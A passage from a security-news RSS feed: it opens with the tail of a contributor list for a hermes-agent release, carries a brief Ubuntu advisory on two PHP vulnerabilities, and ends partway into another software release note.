<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deacon-botdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deacon-botdoctor">@deacon-botdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DECK6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DECK6">@DECK6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derek2000139/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derek2000139">@derek2000139</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/designnotdrum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/designnotdrum">@designnotdrum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deusyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deusyu">@deusyu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devatnull/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devatnull">@devatnull</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devorun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devorun">@devorun</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dexhunter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dexhunter">@dexhunter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfein38347g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfein38347g">@dfein38347g</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dhravya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dhravya">@Dhravya</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DictatorBacon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DictatorBacon">@DictatorBacon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/digitalbase/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/digitalbase">@digitalbase</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmabry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmabry">@dmabry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DNAlec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DNAlec">@DNAlec</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dodo-reach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dodo-reach">@dodo-reach</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorokuma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorokuma">@dorokuma</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doxe0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doxe0x">@doxe0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EdderTalmor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EdderTalmor">@EdderTalmor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elashera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elashera">@elashera</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elektrofussel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elektrofussel">@Elektrofussel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emo-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emo-eth">@emo-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enzo-adami/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enzo-adami">@enzo-adami</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Epoxidex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Epoxidex">@Epoxidex</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esthonjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esthonjr">@esthonjr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evefromwayback/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evefromwayback">@evefromwayback</a>, @evelynburger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/F4TB0Yz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/F4TB0Yz">@F4TB0Yz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falkoro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falkoro">@falkoro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fanyangCS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fanyangCS">@fanyangCS</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8564-1: PHP vulnerabilities]]></title>
<description><![CDATA[It was discovered that PHP incorrectly handled certain TLS setup failures,
resulting in a NULL pointer dereference. An attacker could possibly use
this issue to cause PHP to crash, resulting in a denial of service. This
issue only affected Ubuntu 26.04 LTS. (CVE-2026-12184)

It was discovered tha...]]></description>
<link>https://tsecurity.de/de/3681906/unix-server/usn-8564-1-php-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681906/unix-server/usn-8564-1-php-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 20:01:10 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that PHP incorrectly handled certain TLS setup failures,
resulting in a NULL pointer dereference. An attacker could possibly use
this issue to cause PHP to crash, resulting in a denial of service. This
issue only affected Ubuntu 26.04 LTS. (CVE-2026-12184)

It was discovered that PHP contained a buffer allocation flaw in the
OpenSSL extension when using the AES-WRAP-PAD algorithm. An attacker could
use this issue to cause PHP to crash, resulting in a denial of service, or
possibly execute arbitrary code. (CVE-2026-14355)]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
